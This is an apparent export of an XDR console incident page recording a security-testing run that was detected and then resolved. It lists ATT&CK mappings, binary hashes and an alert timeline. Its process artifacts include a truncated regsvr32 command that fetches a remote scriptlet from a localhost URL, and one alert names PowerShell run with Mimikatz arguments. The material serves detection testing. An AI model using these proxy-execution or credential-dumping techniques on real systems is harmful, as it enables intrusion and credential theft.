HIGH 'Regsvr32 may have run code from an untrusted source' along with 5 other issues

RESOLVED SECURITY TESTING ID: #231 | Created: 2026-01-03 06:02:18
XDR Console
6
Alerts
1
Hosts
15
Files
0
Network
Incident Overview

'Regsvr32 may have run code from an untrusted source' along with 5 other issues generated by XDR BIOC and XDR Agent detected on host desktop-fnumv3u involving 2 users

6
2026-01-03 06:10
Unassigned
XDR BIOC, XDR Agent
Malware Collection Execution
Affected Hosts & Users
desktop-fnumv3u\user user
MITRE ATT&CK Mapping
TA0003 - Persistence TA0002 - Execution TA0005 - Defense Evasion TA0011 - Command and Control TA0006 - Credential Access
T1562.004 - Impair Defenses: Disable or Modify System Firewall T1003 - OS Credential Dumping T1071.001 - Application Layer Protocol: Web Protocols T1218.010 - System Binary Proxy Execution: Regsvr32 T1059.006 - Command and Scripting Interpreter: Python T1218.007 - System Binary Proxy Execution: Msiexec
File Artifacts 15
File Name Path SHA256 Signature Verdict Actions
cmd.exe - badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0 SIGNATURE_SIGNED UNKNOWN VT
regsvr32.exe - 022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b7 SIGNATURE_SIGNED UNKNOWN VT
powershell.exe - 9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3 SIGNATURE_SIGNED UNKNOWN VT
UltimateXdrGenerator.exe - 82fabb35db24a714b179c912f8c0cb90ef174c8db9d6c5bbc59346da7478d82d SIGNATURE_UNSIGNED UNKNOWN VT
conhost.exe - b02ee54fb2ec69673386d41119ee8ed083a6eab3bfca6aa2155d20ce68ef8963 SIGNATURE_SIGNED UNKNOWN VT
chcp.com - f596974158428e42aa47e9eddccb5a854f20cbd2df9d0c044093f38514c56328 SIGNATURE_SIGNED UNKNOWN VT
net.exe - 9f376759bcbcd705f726460fc4a7e2b07f310f52baa73caaaaa124fddbdf993e SIGNATURE_SIGNED UNKNOWN VT
msiexec.exe - d53e90af814f61e09bff87a883a3b0dcb7dcf883f17a2425a62a2d4b5a9407fb SIGNATURE_SIGNED UNKNOWN VT
cscript.exe - 71864a482441889e8a32acead423cf2cefa982695dedc98cc8eb11b78335a5db SIGNATURE_SIGNED UNKNOWN VT
certutil.exe - fd1670b43e2d9188b12b233780bf043c5a90a67a2c6e3fcdc564a5c246531bc2 SIGNATURE_SIGNED UNKNOWN VT
python.exe - 467014615a5255aca450ae88100dd2caf887da87657f00e3c2171ec44a685aec SIGNATURE_SIGNED UNKNOWN VT
rundll32.exe - 076592ca1957f8f357cc201f0015072c612f5770ad7de85f87f254253c754dd7 SIGNATURE_SIGNED UNKNOWN VT
netsh.exe - 6b691b06fa865f52c9484ef4f10e2e02ed6d7c3a3f474b8b138a33af7258b2a9 SIGNATURE_SIGNED UNKNOWN VT
net1.exe - e62071aa18768dd88acaf97fa7b1f2fec9fcce89736c1ee9a800699328d196ea SIGNATURE_SIGNED UNKNOWN VT
timeout.exe - c8c350fab1130644536db6a84f605791367308b995079ad494d46a8c617c21d6 SIGNATURE_SIGNED UNKNOWN VT
Network Artifacts 0
No network artifacts found for this incident
Process Artifacts 6
Process Command Line Parent Process User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_ultimate_runner... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_incident_runner... cmd.exe User
cmd.exe C:\WINDOWS\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... cmd.exe DESKTOP-FNUMV3U\User
cmd.exe C:\WINDOWS\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... cmd.exe DESKTOP-FNUMV3U\User
UltimateXdrGenerator.exe "C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate... cmd.exe DESKTOP-FNUMV3U\User
UltimateXdrGenerator.exe "C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate... cmd.exe DESKTOP-FNUMV3U\User
Registry Artifacts 0
No registry artifacts found for this incident
Analyst Verdict
HIGH
  • Isolate affected endpoints
  • Investigate all related alerts
  • Document findings
Summary
6
Alerts
1
Hosts
15
Files
0
Network
Alert Categories
Malware Collection Execution
Timeline
01-03 06:10:06
Incident Modified
Status or details updated
01-03 06:10:06
Incident Resolved
resolved security testing
01-03 06:09:18
Network Connection - 1971152322
high - Prevented (Blocked)
01-03 06:05:30
Impair Defenses - 2363038651
high - Prevented (Blocked)
01-03 06:05:28
Regsvr32 may have run code from an untrusted source
high - Detected
01-03 06:05:27
Suspicious Process Creation
medium - Prevented (Blocked)
01-03 06:02:18
Incident Created
#231 - 'Regsvr32 may have run code from an untrusted source' along with 5 other issues
01-03 06:02:18
cmd.exe
Verdict: Unknown
01-03 06:02:18
regsvr32.exe
Verdict: Unknown
01-03 06:02:18
powershell.exe
Verdict: Unknown
01-03 06:02:18
UltimateXdrGenerator.exe
Verdict: Unknown
01-03 06:02:18
conhost.exe
Verdict: Unknown
01-03 06:02:18
chcp.com
Verdict: Unknown
01-03 06:02:18
net.exe
Verdict: Unknown
01-03 06:02:18
msiexec.exe
Verdict: Unknown
01-03 06:02:18
cscript.exe
Verdict: Unknown
01-03 06:02:18
certutil.exe
Verdict: Unknown
01-03 06:02:11
PowerShell runs with known Mimikatz arguments
medium - Detected
01-03 06:02:10
Suspicious Process Creation
medium - Prevented (Blocked)